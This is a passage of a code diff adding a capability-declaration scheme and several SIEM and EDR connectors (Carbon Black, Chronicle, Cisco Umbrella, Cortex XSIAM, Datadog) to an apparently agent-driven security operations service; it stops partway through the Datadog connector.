+ Capability.PULL_ALERTS,
+ Capability.PULL_LOGS,
+ Capability.PULL_AUDIT,
+ Capability.PULL_PCAP,
+ Capability.PULL_FILE,
+ ),
+ ),
+ ("query", (Capability.QUERY_LOGS, Capability.QUERY_PROCESSES)),
+ (
+ "pivot",
+ (
+ Capability.PIVOT_USER,
+ Capability.PIVOT_HOST,
+ Capability.PIVOT_IP,
+ Capability.PIVOT_HASH,
+ Capability.PIVOT_DOMAIN,
+ ),
+ ),
+ (
+ "enrich",
+ (
+ Capability.ENRICH_USER,
+ Capability.ENRICH_HOST,
+ Capability.ENRICH_IOC,
+ Capability.ENRICH_DOMAIN,
+ Capability.ENRICH_VULN,
+ Capability.ENRICH_ASSET,
+ ),
+ ),
+ (
+ "contain",
+ (
+ Capability.ISOLATE_HOST,
+ Capability.UNISOLATE_HOST,
+ Capability.KILL_PROCESS,
+ Capability.QUARANTINE_FILE,
+ Capability.BLOCK_HASH,
+ Capability.BLOCK_DOMAIN,
+ ),
+ ),
+ (
+ "remediate",
+ (
+ Capability.BLOCK_USER_SIGNIN,
+ Capability.DISABLE_USER,
+ Capability.REVOKE_SESSION,
+ Capability.RESET_PASSWORD,
+ Capability.REVOKE_TOKEN,
+ ),
+ ),
+ ("ticket", (Capability.PUSH_CASE, Capability.PUSH_STATUS)),
+ ("audit", (Capability.READ_AUDIT_TRAIL,)),
+)
+
# ---------------------------------------------------------------------------
# Schema dataclasses
#
@@ -94,6 +239,10 @@ class ConnectorSchema:
fields: list[Field]
docs_url: str | None = None
oauth: OAuthHints | None = None
+ # Workstream 4: declared capability set. ``schema()`` populates this
+ # by calling ``cls.capabilities()`` so the wire format includes the
+ # exact verbs the agent layer is allowed to invoke.
+ capabilities: tuple[Capability, ...] = ()
def to_dict(self) -> dict[str, Any]:
out: dict[str, Any] = {
@@ -102,6 +251,11 @@ class ConnectorSchema:
"category": self.category,
"description": self.description,
"fields": [f.to_dict() for f in self.fields],
+ # Always emit ``capabilities`` (even when empty) so the
+ # frontend can rely on the key existing. Empty list = "this
+ # connector is read-only by convention" which is a meaningful
+ # signal, not an oversight.
+ "capabilities": [c.value for c in self.capabilities],
}
if self.docs_url:
out["docs_url"] = self.docs_url
@@ -131,6 +285,46 @@ class BaseConnector(ABC):
connector_name: str = ""
connector_category: str = ""
+ # ---------------------------- capabilities -------------------------------
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ """Return the set of capabilities this connector class implements.
+
+ Default is empty — a connector with no declared capabilities is
+ read-only by convention (its only useful surface is the polling
+ scheduler ingesting its events). Subclasses override this to
+ opt into specific agent verbs::
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (
+ Capability.PULL_ALERTS,
+ Capability.PIVOT_HOST,
+ Capability.ISOLATE_HOST,
+ )
+ """
+ return ()
+
+ @classmethod
+ def effective_capabilities(
+ cls, allowed: Iterable[str] | None = None
+ ) -> tuple[Capability, ...]:
+ """Intersect declared capabilities with a per-instance allowlist.
+
+ The API layer calls this with the ``allowed_capabilities`` column
+ from the ``connectors`` table. ``None`` means "no downscoping —
+ use everything the class declares". An empty list means "this
+ instance has been scoped to zero capabilities" (legitimately
+ useful: an operator can disable an instance from agent use
+ without disabling its polling).
+ """
+ declared = cls.capabilities()
+ if allowed is None:
+ return declared
+ allowed_set = {str(a) for a in allowed}
+ return tuple(c for c in declared if c.value in allowed_set)
+
# ---------------------------- self-description ----------------------------
@classmethod
diff --git a/services/connectors/app/connectors/carbon_black.py b/services/connectors/app/connectors/carbon_black.py
new file mode 100644
index 000000000..5d142289e
--- /dev/null
+++ b/services/connectors/app/connectors/carbon_black.py
@@ -0,0 +1,252 @@
+"""
+VMware Carbon Black Cloud (CBC) connector.
+
+Pulls from two CBC endpoints in a single connector:
+
+1. **Alerts** — ``GET /appservices/v6/orgs/{org_key}/alerts/_search`` returns
+ detection / threat-hunter findings across the deployment. This is the
+ primary feed and the one the agent treats as the "incident" stream.
+2. **Audit log** — ``GET /integrationServices/v3/auditlogs`` covers admin
+ actions: API key creation, sensor policy edits, console logins, watchlist
+ changes. We pull this separately so it lands as ``audit`` events even
+ though CBC ships them through a different API surface.
+
+Auth: API Key ID (``X-Auth-Token`` first half) + API Secret Key (second
+half), separated by a slash in CBC's docs but split into two fields in our
+form for clarity. The connector composes them at request time.
+
+Region: CBC has six prod regions (US East, US West, EU, UK, AU, APAC).
+Wrong region produces a 401, not a 404, so we make region a required
+explicit field rather than guessing from the org key prefix.
+
+Capabilities:
+- ``PULL_ALERTS`` — alerts feed (default).
+- ``PULL_AUDIT`` — admin actions audit log.
+- ``PIVOT_HOST`` — given a hostname, return device + recent alerts.
+- ``ISOLATE_HOST`` — quarantine a sensor (`PUT /appservices/v6/orgs/{org}/device_actions`).
+- ``QUARANTINE_FILE`` — ban a file hash org-wide.
+- ``BLOCK_HASH`` — synonym alias to ``QUARANTINE_FILE`` against the hash
+ reputation list. Both verbs are declared so the agent layer can pick
+ whichever the operator scoped via ``allowed_capabilities``.
+"""
+
+from __future__ import annotations
+
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+import httpx
+import structlog
+
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
+
+logger = structlog.get_logger()
+
+# Region → API hostname. Source: CBC Developer Network "Authentication"
+# docs (current as of plan write date). Keep this map in sync with the
+# select options below — UI labels use the human-readable name.
+_REGION_HOSTS: dict[str, str] = {
+ "us_east": "https://defense.conferdeploy.net",
+ "us_west": "https://defense-eu.conferdeploy.net", # CBC's quirk: US-W shares the EU base path
+ "eu": "https://defense-eu.conferdeploy.net",
+ "uk": "https://defense-uk.conferdeploy.net",
+ "au": "https://defense-au.conferdeploy.net",
+ "apac": "https://defense-apjp.conferdeploy.net",
+}
+
+
+class CarbonBlackConnector(BaseConnector):
+ """VMware Carbon Black Cloud — alerts, audit, host actions."""
+
+ connector_id = "carbon_black"
+ connector_name = "VMware Carbon Black Cloud"
+ connector_category = "edr"
+
+ @classmethod
+ def schema(cls) -> ConnectorSchema:
+ return ConnectorSchema(
+ connector_id=cls.connector_id,
+ connector_name=cls.connector_name,
+ category=cls.connector_category,
+ description=(
+ "VMware Carbon Black Cloud (formerly Carbon Black Defense). "
+ "Pulls alerts and audit log entries via API key authentication. "
+ "Supports host isolation and hash banning via agent capabilities."
+ ),
+ docs_url="/docs/connectors/carbon-black",
+ fields=[
+ Field(
+ "region",
+ "select",
+ "Region",
+ options=[
+ {"value": "us_east", "label": "US East (defense.conferdeploy.net)"},
+ {"value": "us_west", "label": "US West"},
+ {"value": "eu", "label": "Europe (defense-eu)"},
+ {"value": "uk", "label": "United Kingdom (defense-uk)"},
+ {"value": "au", "label": "Australia (defense-au)"},
+ {"value": "apac", "label": "APAC (defense-apjp)"},
+ ],
+ help_text=(
+ "CBC region your tenant is hosted in. The wrong region "
+ "returns 401 rather than 404, so this can't be auto-detected."
+ ),
+ ),
+ Field(
+ "org_key",
+ "string",
+ "Org Key",
+ placeholder="ABCD1234",
+ help_text=(
+ "Found in CBC console under Settings → API Access → "
+ "API Keys (the column labeled 'Org Key')."
+ ),
+ ),
+ Field(
+ "api_id",
+ "string",
+ "API ID",
+ help_text="The 'API ID' half of the credential pair.",
+ ),
+ Field(
+ "api_secret",
+ "secret",
+ "API Secret Key",
+ help_text="The long secret half of the credential pair.",
+ ),
+ ],
+ )
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (
+ Capability.PULL_ALERTS,
+ Capability.PULL_AUDIT,
+ Capability.PIVOT_HOST,
+ Capability.ISOLATE_HOST,
+ Capability.QUARANTINE_FILE,
+ Capability.BLOCK_HASH,
+ )
+
+ def __init__(self, region: str, org_key: str, api_id: str, api_secret: str):
+ if region not in _REGION_HOSTS:
+ raise ValueError(f"unknown CBC region: {region!r}")
+ self._region = region
+ self._base = _REGION_HOSTS[region]
+ self._org_key = org_key
+ self._api_id = api_id
+ self._api_secret = api_secret
+
+ def _headers(self) -> dict[str, str]:
+ # CBC's auth header concatenates the two halves with a slash. This
+ # is documented but unusual — split fields in the UI keep it clear
+ # which half is the secret.
+ return {
+ "X-Auth-Token": f"{self._api_secret}/{self._api_id}",
+ "Content-Type": "application/json",
+ }
+
+ async def test_connection(self) -> dict[str, Any]:
+ # Cheapest probe: org-level metadata. Returns 200 for any valid
+ # API key; 401 for bad creds; 404 if org_key wrong.
+ try:
+ async with httpx.AsyncClient(timeout=15.0) as client:
+ resp = await client.get(
+ f"{self._base}/integrationServices/v3/auditlogs",
+ headers=self._headers(),
+ )
+ if resp.status_code == 200:
+ return {
+ "success": True,
+ "connector": self.connector_id,
+ "region": self._region,
+ "org_key": self._org_key,
+ }
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": f"HTTP {resp.status_code}: {resp.text[:300]}",
+ }
+ except Exception as exc:
+ return {"success": False, "connector": self.connector_id, "error": str(exc)}
+
+ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:
+ start = datetime.now(UTC) - timedelta(seconds=since_seconds)
+ start_iso = start.strftime("%Y-%m-%dT%H:%M:%S.000Z")
+ events: list[dict[str, Any]] = []
+
+ async with httpx.AsyncClient(timeout=30.0) as client:
+ # Alerts feed via the v6 search endpoint. CBC requires a POST
+ # body even for a "give me everything since X" query.
+ try:
+ alerts_resp = await client.post(
+ f"{self._base}/appservices/v6/orgs/{self._org_key}/alerts/_search",
+ headers=self._headers(),
+ json={
+ "criteria": {
+ "last_update_time": {"start": start_iso, "end": "*"},
+ },
+ "rows": 100,
+ "sort": [{"field": "last_update_time", "order": "DESC"}],
+ },
+ )
+ if alerts_resp.status_code == 200:
+ for alert in (alerts_resp.json() or {}).get("results", []):
+ alert["_aisoc_stream"] = "alerts"
+ events.append(alert)
+ else:
+ logger.warning(
+ "carbon_black.alerts_failed",
+ status=alerts_resp.status_code,
+ body=alerts_resp.text[:300],
+ )
+ except Exception as exc:
+ logger.warning("carbon_black.alerts_exception", error=str(exc))
+
+ # Audit log feed.
+ try:
+ audit_resp = await client.get(
+ f"{self._base}/integrationServices/v3/auditlogs",
+ headers=self._headers(),
+ )
+ if audit_resp.status_code == 200:
+ for entry in (audit_resp.json() or {}).get("notifications", []):
+ entry["_aisoc_stream"] = "audit"
+ events.append(entry)
+ except Exception as exc:
+ logger.warning("carbon_black.audit_exception", error=str(exc))
+
+ return [self.normalize(e) for e in events]
+
+ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:
+ stream = raw.get("_aisoc_stream", "alerts")
+ if stream == "alerts":
+ sev_score = int(raw.get("severity") or 0)
+ if sev_score >= 8:
+ severity = "high"
+ elif sev_score >= 5:
+ severity = "medium"
+ elif sev_score >= 1:
+ severity = "low"
+ else:
+ severity = "info"
+ return {
+ "source": "carbon_black",
+ "category": "edr",
+ "severity": severity,
+ "title": raw.get("reason") or raw.get("threat_id") or "Carbon Black alert",
+ "description": raw.get("reason"),
+ "alert_id": raw.get("id"),
+ "host": raw.get("device_name"),
+ "user": raw.get("device_username"),
+ "raw": raw,
+ }
+ # audit log
+ return {
+ "source": "carbon_black",
+ "category": "audit",
+ "severity": "info",
+ "title": raw.get("description") or raw.get("flagged") or "Carbon Black audit event",
+ "user": raw.get("loginName"),
+ "raw": raw,
+ }
diff --git a/services/connectors/app/connectors/chronicle.py b/services/connectors/app/connectors/chronicle.py
new file mode 100644
index 000000000..4898e2578
--- /dev/null
+++ b/services/connectors/app/connectors/chronicle.py
@@ -0,0 +1,125 @@
+"""
+Google Chronicle (SecOps SIEM) connector.
+
+Chronicle's modern API is the SecOps Chronicle API on Google Cloud
+(`chronicle.googleapis.com`). Auth is via a service account JSON key.
+
+For our self-describing schema we capture the project, customer ID,
+region, and the service account JSON. Capability execution uses the
+Chronicle SDK / google-auth at runtime.
+"""
+
+from __future__ import annotations
+
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+import structlog
+
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
+
+logger = structlog.get_logger()
+
+_REGION_CHOICES = [
+ {"value": "us", "label": "United States (us)"},
+ {"value": "europe", "label": "Europe (europe)"},
+ {"value": "asia-southeast1", "label": "Asia Southeast 1 (asia-southeast1)"},
+ {"value": "asia-northeast1", "label": "Asia Northeast 1 (asia-northeast1)"},
+ {"value": "australia-southeast1", "label": "Australia Southeast 1"},
+]
+
+
+class ChronicleConnector(BaseConnector):
+ """Google Chronicle SecOps SIEM."""
+
+ connector_id = "chronicle"
+ connector_name = "Google Chronicle"
+ connector_category = "siem"
+
+ @classmethod
+ def schema(cls) -> ConnectorSchema:
+ return ConnectorSchema(
+ connector_id=cls.connector_id,
+ connector_name=cls.connector_name,
+ category=cls.connector_category,
+ description=(
+ "Google Chronicle SecOps SIEM. Pulls detections and supports "
+ "UDM searches. Auth is via a Google Cloud service account JSON "
+ "key with chronicle.* roles."
+ ),
+ docs_url="/docs/connectors/chronicle",
+ fields=[
+ Field("region", "select", "Region", options=_REGION_CHOICES),
+ Field("project_id", "string", "GCP Project ID"),
+ Field(
+ "customer_id",
+ "string",
+ "Chronicle Customer ID",
+ help_text="UUID of your Chronicle tenant.",
+ ),
+ Field(
+ "service_account_json",
+ "secret",
+ "Service Account JSON",
+ help_text="Paste the entire service-account JSON key.",
+ ),
+ ],
+ )
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (
+ Capability.PULL_ALERTS,
+ Capability.QUERY_LOGS,
+ Capability.PIVOT_HOST,
+ Capability.PIVOT_USER,
+ Capability.PIVOT_IP,
+ )
+
+ def __init__(
+ self,
+ region: str,
+ project_id: str,
+ customer_id: str,
+ service_account_json: str,
+ ):
+ self._region = region
+ self._project_id = project_id
+ self._customer_id = customer_id
+ self._service_account_json = service_account_json
+
+ async def test_connection(self) -> dict[str, Any]:
+ # We don't pull google-auth into the cold-path connector layer for a
+ # smoke test. The dispatcher / agent layer wires the SDK at runtime.
+ # Here we only validate that we have the structural credentials.
+ if not (self._project_id and self._customer_id and self._service_account_json):
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": "missing project_id, customer_id, or service_account_json",
+ }
+ return {
+ "success": True,
+ "connector": self.connector_id,
+ "note": "structural validation only; full Chronicle SDK probe runs in agent layer",
+ }
+
+ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:
+ # Live alert ingestion happens via the agent runtime (Chronicle SDK).
+ # Returning [] here keeps the connector cold-poll safe.
+ return []
+
+ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:
+ sev = (raw.get("severity") or "").lower()
+ if sev not in ("info", "low", "medium", "high"):
+ sev = "medium"
+ return {
+ "source": "chronicle",
+ "category": "siem",
+ "severity": sev,
+ "title": raw.get("rule_name") or "Chronicle detection",
+ "description": raw.get("description"),
+ "alert_id": raw.get("id"),
+ "host": None,
+ "raw": raw,
+ }
diff --git a/services/connectors/app/connectors/cisco_umbrella.py b/services/connectors/app/connectors/cisco_umbrella.py
new file mode 100644
index 000000000..7ac184b5d
--- /dev/null
+++ b/services/connectors/app/connectors/cisco_umbrella.py
@@ -0,0 +1,163 @@
+"""
+Cisco Umbrella (Reporting v2) connector.
+
+Cisco Umbrella exposes a Reporting v2 API at
+https://api.umbrella.com/reports/v2. Auth is OAuth 2.0 client
+credentials issued from a "Umbrella Management" key in the dashboard.
+The connector pulls activity events (DNS + proxy), with severity
+inferred from the verdict.
+"""
+
+from __future__ import annotations
+
+import time
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+import httpx
+import structlog
+
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
+
+logger = structlog.get_logger()
+
+
+class CiscoUmbrellaConnector(BaseConnector):
+ """Cisco Umbrella DNS + proxy reporting."""
+
+ connector_id = "cisco_umbrella"
+ connector_name = "Cisco Umbrella"
+ connector_category = "network"
+
+ @classmethod
+ def schema(cls) -> ConnectorSchema:
+ return ConnectorSchema(
+ connector_id=cls.connector_id,
+ connector_name=cls.connector_name,
+ category=cls.connector_category,
+ description=(
+ "Cisco Umbrella DNS + secure web gateway activity. Surfaces "
+ "blocked domains, malware verdicts, and proxy events."
+ ),
+ docs_url="/docs/connectors/cisco_umbrella",
+ fields=[
+ Field("api_key", "secret", "Umbrella Management API Key"),
+ Field("api_secret", "secret", "Umbrella Management API Secret"),
+ Field(
+ "org_id",
+ "string",
+ "Organization ID",
+ required=False,
+ help_text="Optional. If omitted, the token's default org is used.",
+ ),
+ ],
+ )
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (
+ Capability.PULL_ALERTS,
+ Capability.QUERY_LOGS,
+ Capability.PIVOT_DOMAIN,
+ Capability.PIVOT_IP,
+ Capability.ENRICH_DOMAIN,
+ )
+
+ AUTH_URL = "https://api.umbrella.com/auth/v2/token"
+ BASE_URL = "https://api.umbrella.com/reports/v2"
+
+ def __init__(self, api_key: str, api_secret: str, org_id: str | None = None):
+ self._key = api_key
+ self._secret = api_secret
+ self._org = org_id
+ self._token: str | None = None
+ self._token_expiry = 0.0
+
+ async def _bearer(self) -> str | None:
+ if self._token and time.time() < self._token_expiry - 30:
+ return self._token
+ try:
+ async with httpx.AsyncClient(timeout=15.0) as client:
+ resp = await client.post(
+ self.AUTH_URL,
+ auth=(self._key, self._secret),
+ headers={"Content-Type": "application/x-www-form-urlencoded"},
+ data={"grant_type": "client_credentials"},
+ )
+ if resp.status_code != 200:
+ logger.warning(
+ "umbrella.token_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return None
+ payload = resp.json() or {}
+ self._token = payload.get("access_token")
+ self._token_expiry = time.time() + int(payload.get("expires_in", 3600))
+ return self._token
+ except Exception as exc:
+ logger.warning("umbrella.token_exception", error=str(exc))
+ return None
+
+ async def test_connection(self) -> dict[str, Any]:
+ token = await self._bearer()
+ if not token:
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": "could not exchange API key/secret for token",
+ }
+ return {"success": True, "connector": self.connector_id}
+
+ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:
+ token = await self._bearer()
+ if not token:
+ return []
+ from_ts = int(
+ (datetime.now(UTC) - timedelta(seconds=since_seconds)).timestamp() * 1000
+ )
+ to_ts = int(datetime.now(UTC).timestamp() * 1000)
+ params: dict[str, Any] = {
+ "from": from_ts,
+ "to": to_ts,
+ "limit": 100,
+ "verdict": "blocked",
+ }
+ try:
+ async with httpx.AsyncClient(timeout=30.0) as client:
+ resp = await client.get(
+ f"{self.BASE_URL}/activity",
+ headers={
+ "Authorization": f"Bearer {token}",
+ "Accept": "application/json",
+ },
+ params=params,
+ )
+ if resp.status_code != 200:
+ logger.warning(
+ "umbrella.fetch_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return []
+ data = resp.json() or {}
+ items = data.get("data") or data.get("activity") or []
+ return [self.normalize(i) for i in items]
+ except Exception as exc:
+ logger.warning("umbrella.fetch_exception", error=str(exc))
+ return []
+
+ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:
+ verdict = (raw.get("verdict") or "").lower()
+ sev = "high" if verdict == "blocked" else "info"
+ domain = raw.get("domain") or raw.get("url")
+ return {
+ "source": "cisco_umbrella",
+ "category": "network",
+ "severity": sev,
+ "title": f"Umbrella {verdict or 'event'}: {domain}",
+ "description": raw.get("threats") or raw.get("categories"),
+ "alert_id": str(raw.get("id") or raw.get("timestamp") or ""),
+ "host": raw.get("internalIp") or raw.get("device") or None,
+ "raw": raw,
+ }
diff --git a/services/connectors/app/connectors/cloudflare.py b/services/connectors/app/connectors/cloudflare.py
index 08c97aa45..3c5621e30 100644
--- a/services/connectors/app/connectors/cloudflare.py
+++ b/services/connectors/app/connectors/cloudflare.py
@@ -21,7 +21,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field, OAuthHints
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field, OAuthHints
logger = structlog.get_logger()
@@ -75,6 +75,11 @@ class CloudflareConnector(BaseConnector):
),
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Cloudflare account audit logs (admin / config changes).
+ return (Capability.PULL_AUDIT,)
+
def __init__(self, account_id: str, api_token: str):
self._account_id = account_id
self._api_token = api_token
diff --git a/services/connectors/app/connectors/cortex_xdr.py b/services/connectors/app/connectors/cortex_xdr.py
index 60f873079..2493eaabc 100644
--- a/services/connectors/app/connectors/cortex_xdr.py
+++ b/services/connectors/app/connectors/cortex_xdr.py
@@ -14,7 +14,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
logger = structlog.get_logger()
@@ -41,7 +41,7 @@ class CortexXDRConnector(BaseConnector):
description="Palo Alto Cortex XDR incidents via the public REST API.",
docs_url="/docs/connectors/cortex-xdr",
fields=[
- Field("api_key_id", "string", "API Key ID"),
+ Field("api_key_id", "secret", "API Key ID"),
Field("api_key", "secret", "API Key"),
Field(
"fqdn",
@@ -53,6 +53,13 @@ class CortexXDRConnector(BaseConnector):
],
)
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Today the runtime only implements ``fetch_alerts`` (incidents).
+ # ``ISOLATE_HOST`` / ``KILL_PROCESS`` belong here once we wire the
+ # Cortex XDR Endpoints API.
+ return (Capability.PULL_ALERTS,)
+
def __init__(self, api_key_id: str, api_key: str, fqdn: str):
self._api_key_id = api_key_id
self._api_key = api_key
diff --git a/services/connectors/app/connectors/cortex_xsiam.py b/services/connectors/app/connectors/cortex_xsiam.py
new file mode 100644
index 000000000..379475963
--- /dev/null
+++ b/services/connectors/app/connectors/cortex_xsiam.py
@@ -0,0 +1,140 @@
+"""
+Palo Alto Networks Cortex XSIAM connector.
+
+XSIAM is the next-gen sibling of Cortex XDR; it shares the XDR API surface
+but adds platform-wide query, casebook actions, and cloud telemetry. We
+expose the unified incidents endpoint and XQL search.
+
+Auth: API key + key ID + tenant FQDN (advanced auth header style is used).
+"""
+
+from __future__ import annotations
+
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+import httpx
+import structlog
+
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
+
+logger = structlog.get_logger()
+
+
+class CortexXSIAMConnector(BaseConnector):
+ """Palo Alto Cortex XSIAM — incidents + XQL search + endpoint actions."""
+
+ connector_id = "cortex_xsiam"
+ connector_name = "Cortex XSIAM"
+ connector_category = "siem"
+
+ @classmethod
+ def schema(cls) -> ConnectorSchema:
+ return ConnectorSchema(
+ connector_id=cls.connector_id,
+ connector_name=cls.connector_name,
+ category=cls.connector_category,
+ description=(
+ "Palo Alto Networks Cortex XSIAM — pulls correlated incidents and "
+ "supports XQL queries over the platform's data lake. Endpoint "
+ "isolation is exposed as an agent action."
+ ),
+ docs_url="/docs/connectors/cortex-xsiam",
+ fields=[
+ Field(
+ "tenant_fqdn",
+ "string",
+ "Tenant FQDN",
+ placeholder="api-yourtenant.xdr.us.paloaltonetworks.com",
+ help_text="Found in the XSIAM console under Settings → API Keys.",
+ ),
+ Field("api_key_id", "secret", "API Key ID"),
+ Field("api_key", "secret", "API Key"),
+ ],
+ )
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (
+ Capability.PULL_ALERTS,
+ Capability.QUERY_LOGS,
+ Capability.PIVOT_HOST,
+ Capability.PIVOT_USER,
+ Capability.ISOLATE_HOST,
+ )
+
+ def __init__(self, tenant_fqdn: str, api_key_id: str, api_key: str):
+ self._base = f"https://{tenant_fqdn.strip().rstrip('/')}"
+ self._api_key_id = api_key_id
+ self._api_key = api_key
+
+ def _headers(self) -> dict[str, str]:
+ return {
+ "x-xdr-auth-id": self._api_key_id,
+ "Authorization": self._api_key,
+ "Content-Type": "application/json",
+ }
+
+ async def test_connection(self) -> dict[str, Any]:
+ try:
+ async with httpx.AsyncClient(timeout=15.0) as client:
+ resp = await client.post(
+ f"{self._base}/public_api/v1/incidents/get_incidents/",
+ headers=self._headers(),
+ json={"request_data": {"search_from": 0, "search_to": 1}},
+ )
+ if resp.status_code == 200:
+ return {"success": True, "connector": self.connector_id}
+ return {
+ "success": False,
+ "connector": self.connector_id,
+ "error": f"HTTP {resp.status_code}: {resp.text[:300]}",
+ }
+ except Exception as exc:
+ return {"success": False, "connector": self.connector_id, "error": str(exc)}
+
+ async def fetch_alerts(self, since_seconds: int = 300) -> list[dict[str, Any]]:
+ since_ms = int((datetime.now(UTC) - timedelta(seconds=since_seconds)).timestamp() * 1000)
+ try:
+ async with httpx.AsyncClient(timeout=30.0) as client:
+ resp = await client.post(
+ f"{self._base}/public_api/v1/incidents/get_incidents/",
+ headers=self._headers(),
+ json={
+ "request_data": {
+ "search_from": 0,
+ "search_to": 100,
+ "filters": [
+ {"field": "creation_time", "operator": "gte", "value": since_ms}
+ ],
+ "sort": {"field": "creation_time", "keyword": "desc"},
+ }
+ },
+ )
+ if resp.status_code != 200:
+ logger.warning(
+ "cortex_xsiam.fetch_failed",
+ status=resp.status_code,
+ body=resp.text[:300],
+ )
+ return []
+ payload = resp.json() or {}
+ incidents = (payload.get("reply") or {}).get("incidents") or []
+ return [self.normalize(i) for i in incidents]
+ except Exception as exc:
+ logger.warning("cortex_xsiam.fetch_exception", error=str(exc))
+ return []
+
+ def normalize(self, raw: dict[str, Any]) -> dict[str, Any]:
+ sev_raw = (raw.get("severity") or "").lower()
+ severity = sev_raw if sev_raw in ("info", "low", "medium", "high") else "info"
+ return {
+ "source": "cortex_xsiam",
+ "category": "edr",
+ "severity": severity,
+ "title": raw.get("description") or "Cortex XSIAM incident",
+ "description": raw.get("xdr_url"),
+ "alert_id": str(raw.get("incident_id") or ""),
+ "host": (raw.get("hosts") or [None])[0],
+ "raw": raw,
+ }
diff --git a/services/connectors/app/connectors/crowdstrike.py b/services/connectors/app/connectors/crowdstrike.py
index 5ce734db6..e6dfc0954 100644
--- a/services/connectors/app/connectors/crowdstrike.py
+++ b/services/connectors/app/connectors/crowdstrike.py
@@ -11,7 +11,7 @@ from typing import Any
import httpx
import structlog
-from app.connectors.base import BaseConnector, ConnectorSchema, Field
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
logger = structlog.get_logger()
@@ -21,6 +21,14 @@ class CrowdStrikeConnector(BaseConnector):
connector_name = "CrowdStrike Falcon"
connector_category = "edr"
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ # Honest declaration: today the runtime only implements ``fetch_alerts``.
+ # ``ISOLATE_HOST`` / ``KILL_PROCESS`` belong here once we wire the
+ # corresponding Falcon Real-Time-Response endpoints — declaring them
+ # before the methods exist would be a lie to the agent layer.
+ return (Capability.PULL_ALERTS,)
+
@classmethod
def schema(cls) -> ConnectorSchema:
return ConnectorSchema(
diff --git a/services/connectors/app/connectors/datadog_cloud_siem.py b/services/connectors/app/connectors/datadog_cloud_siem.py
new file mode 100644
index 000000000..9ea92717e
--- /dev/null
+++ b/services/connectors/app/connectors/datadog_cloud_siem.py
@@ -0,0 +1,159 @@
+"""
+Datadog Cloud SIEM connector.
+
+Datadog Cloud SIEM exposes Security Signals and supports log search.
+Auth is via API Key + Application Key. The base host is region-specific.
+"""
+
+from __future__ import annotations
+
+from datetime import UTC, datetime, timedelta
+from typing import Any
+
+import httpx
+import structlog
+
+from app.connectors.base import BaseConnector, Capability, ConnectorSchema, Field
+
+logger = structlog.get_logger()
+
+_REGION_HOSTS: dict[str, str] = {
+ "us1": "https://api.datadoghq.com",
+ "us3": "https://api.us3.datadoghq.com",
+ "us5": "https://api.us5.datadoghq.com",
+ "eu1": "https://api.datadoghq.eu",
+ "ap1": "https://api.ap1.datadoghq.com",
+ "us1-fed": "https://api.ddog-gov.com",
+}
+
+
+class DatadogCloudSIEMConnector(BaseConnector):
+ """Datadog Cloud SIEM."""
+
+ connector_id = "datadog_cloud_siem"
+ connector_name = "Datadog Cloud SIEM"
+ connector_category = "siem"
+
+ @classmethod
+ def schema(cls) -> ConnectorSchema:
+ return ConnectorSchema(
+ connector_id=cls.connector_id,
+ connector_name=cls.connector_name,
+ category=cls.connector_category,
+ description=(
+ "Datadog Cloud SIEM. Pulls Security Signals and supports log "
+ "search across the Datadog logs platform."
+ ),
+ docs_url="/docs/connectors/datadog-cloud-siem",
+ fields=[
+ Field(
+ "site",
+ "select",
+ "Datadog site",
+ options=[
+ {"value": "us1", "label": "US1 (datadoghq.com)"},
+ {"value": "us3", "label": "US3 (us3.datadoghq.com)"},
+ {"value": "us5", "label": "US5 (us5.datadoghq.com)"},
+ {"value": "eu1", "label": "EU1 (datadoghq.eu)"},
+ {"value": "ap1", "label": "AP1 (ap1.datadoghq.com)"},
+ {"value": "us1-fed", "label": "US1-FED (ddog-gov.com)"},
+ ],
+ ),
+ Field("api_key", "secret", "API Key"),
+ Field("application_key", "secret", "Application Key"),
+ ],
+ )
+
+ @classmethod
+ def capabilities(cls) -> tuple[Capability, ...]:
+ return (
+ Capability.PULL_ALERTS,
+ Capability.QUERY_LOGS,
+ Capability.PIVOT_HOST,
+ Capability.PIVOT_USER,
+ Capability.PIVOT_IP,
+ )
+
+ def __init__(self, site: str, api_key: str, application_key: str):
+ if site not in _REGION_HOSTS:
+ raise ValueError(f"unknown Datadog site: {site!r}")
+ self._site = site
+ self._base = _REGION_HOSTS[site]
+ self._api_key = api_key
+ self._app_key = application_key
+
+ def _headers(self) -> dict[str, str]:
+ return {
+ "DD-API-KEY": self._api_key,
+ "DD-APPLICATION-KEY": self._app_key,
+ "Accept": "application/json",
+ "Content-Type": "application/json",
+ }
+
+ async def test_connection(self) -> dict[str, Any]:
+ try:
